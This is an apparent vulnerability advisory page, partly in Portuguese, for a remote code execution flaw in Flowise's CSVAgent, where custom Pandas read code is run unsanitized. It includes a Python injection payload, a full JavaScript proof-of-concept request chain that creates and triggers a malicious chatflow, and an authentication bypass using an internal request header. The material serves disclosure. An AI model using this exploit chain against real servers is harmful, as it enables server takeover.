PT-2026-35303 · Npm · Flowise+1
Publicado
2026-04-16
·
Atualizado
2026-04-16
CVSS v3.1
8.8
Alta
| Vetor | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Summary
The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload:
DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.Details
The code in question that introduces the issue is in CSVAgent.ts.
customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code).
An authenticated attacker can issue the following chain of requests:- Create a new chat flow by sending a
POSTrequest to/api/v1/chatflows. This will return thechatflowIdin the response. - Send a
POSTrequest to/api/v1/prediction/[CHATFLOWID]to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work. - Optionally: send a
DELETErequest to/api/v1/chatflowsto cleanup and delete the chat flow.
Since
/chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE USERNAME and FLOWISE PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.PoC
Here's the PoC code:
const PORT = 3000;
const FLOWISE HOST URL = `http://127.0.0.1:${PORT}`;
const PREDICTION URL = '/api/v1/prediction';
const CHATFLOWS URL = '/api/v1/chatflows';
const flowData = JSON.parse("{"nodes":[{"id":"csvAgent 0","position":{"x":681,"y":212},"type":"customNode","data":{"label":"CSV Agent","name":"csvAgent","version":3,"type":"AgentExecutor","category":"Agents","icon":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg","description":"Agent used to answer queries on CSV data","baseClasses":["AgentExecutor","BaseChain","Runnable"],"inputs":{"csvFile":"","model":"{{openAI 0.data.instance}}","systemMessagePrompt":"","inputModeration":"","customReadCSV":"DataFrame({'foo': ['bar!']});import os;os.system('whoami');"},"filePath":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js","inputAnchors":[{"label":"Language Model","name":"model","type":"BaseLanguageModel","id":"csvAgent 0-input-model-BaseLanguageModel"},{"label":"Input Moderation","description":"Detect text that could generate harmful output and prevent it from being sent to the language model","name":"inputModeration","type":"Moderation","optional":true,"list":true,"id":"csvAgent 0-input-inputModeration-Moderation"}],"inputParams":[{"label":"Csv File","name":"csvFile","type":"file","fileType":".csv","id":"csvAgent 0-input-csvFile-file"},{"label":"System Message","name":"systemMessagePrompt","type":"string","rows":4,"additionalParams":true,"optional":true,"placeholder":"I want you to act as a document that I am having a conversation with. Your name is "AI Assistant". You will provide me with answers from the given info. If the answer is not included, say exactly "Hmm, I am not sure." and stop after that. Refuse to answer any question not about the info. Never break character.","id":"csvAgent 0-input-systemMessagePrompt-string"},{"label":"Custom Pandas Read CSV Code","description":"Custom Pandas <a target=" blank" href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read csv.html">read csv</a> function. Takes in an input: "csv data"","name":"customReadCSV","default":"read csv(csv data)","type":"code","optional":true,"additionalParams":true,"id":"csvAgent 0-input-customReadCSV-code"}],"outputs":{},"outputAnchors":[{"id":"csvAgent 0-output-csvAgent-AgentExecutor|BaseChain|Runnable","name":"csvAgent","label":"AgentExecutor","description":"Agent used to answer queries on CSV data","type":"AgentExecutor | BaseChain | Runnable"}],"id":"csvAgent 0","selected":false},"width":300,"height":464,"selected":true,"dragging":false,"positionAbsolute":{"x":681,"y":212}},{"id":"openAI 0","position":{"x":238.83389711655053,"y":233.09962591816395},"type":"customNode","data":{"loadMethods":{},"label":"OpenAI","name":"openAI","version":4,"type":"OpenAI","icon":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg","category":"LLMs","description":"Wrapper around OpenAI large language models","baseClasses":["OpenAI","BaseLLM","BaseLanguageModel","Runnable"],"credential":"","inputs":{"cache":"","modelName":"gpt-3.5-turbo-instruct","temperature":0.7,"maxTokens":"","topP":"","bestOf":"","frequencyPenalty":"","presencePenalty":"","batchSize":"","timeout":"","basepath":"","baseOptions":""},"filePath":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js","inputAnchors":[{"label":"Cache","name":"cache","type":"BaseCache","optional":true,"id":"openAI 0-input-cache-BaseCache"}],"inputParams":[{"label":"Connect Credential","name":"credential","type":"credential","credentialNames":["openAIApi"],"id":"openAI 0-input-credential-credential"},{"label":"Model Name","name":"modelName","type":"asyncOptions","loadMethod":"listModels","default":"gpt-3.5-turbo-instruct","id":"openAI 0-input-modelName-asyncOptions"},{"label":"Temperature","name":"temperature","type":"number","step":0.1,"default":0.7,"optional":true,"id":"openAI 0-input-temperature-number"},{"label":"Max Tokens","name":"maxTokens","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-maxTokens-number"},{"label":"Top Probability","name":"topP","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-topP-number"},{"label":"Best Of","name":"bestOf","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-bestOf-number"},{"label":"Frequency Penalty","name":"frequencyPenalty","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-frequencyPenalty-number"},{"label":"Presence Penalty","name":"presencePenalty","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-presencePenalty-number"},{"label":"Batch Size","name":"batchSize","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-batchSize-number"},{"label":"Timeout","name":"timeout","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-timeout-number"},{"label":"BasePath","name":"basepath","type":"string","optional":true,"additionalParams":true,"id":"openAI 0-input-basepath-string"},{"label":"BaseOptions","name":"baseOptions","type":"json","optional":true,"additionalParams":true,"id":"openAI 0-input-baseOptions-json"}],"outputs":{},"outputAnchors":[{"id":"openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable","name":"openAI","label":"OpenAI","description":"Wrapper around OpenAI large language models","type":"OpenAI | BaseLLM | BaseLanguageModel | Runnable"}],"id":"openAI 0","selected":false},"width":300,"height":574,"selected":false,"positionAbsolute":{"x":238.83389711655053,"y":233.09962591816395},"dragging":false}],"edges":[{"source":"openAI 0","sourceHandle":"openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable","target":"csvAgent 0","targetHandle":"csvAgent 0-input-model-BaseLanguageModel","type":"buttonedge","id":"openAI 0-openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent 0-csvAgent 0-input-model-BaseLanguageModel"}],"viewport":{"x":73.92828909845196,"y":-4.475777844396191,"zoom":0.7371346086455504}}");
const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};
// Create chatflow.
let res = await fetch(`${FLOWISE HOST URL}${CHATFLOWS URL}`, {
method: "POST",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer <your-api-key>"
//Alternative: "x-request-from": "internal"
},
body: JSON.stringify(payload)
});
let resJson = await res.json();
let chatflowId = resJson?.id;
// Trigger vuln.
await fetch(`${FLOWISE HOST URL}${PREDICTION URL}/${chatflowId}`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({"question": "whoami?"})
});
// Cleanup.
await fetch(`${FLOWISE HOST URL}${CHATFLOWS URL}/${chatflowId}`, {
method: "DELETE",
headers: {
"Content-Type": "application/json",
"Authorization": "Bearer <your-api-key>"
//Alternative: "x-request-from": "internal"
}
});Impact
This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.
Correção
Code Injection
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Flowise
Flowise-Components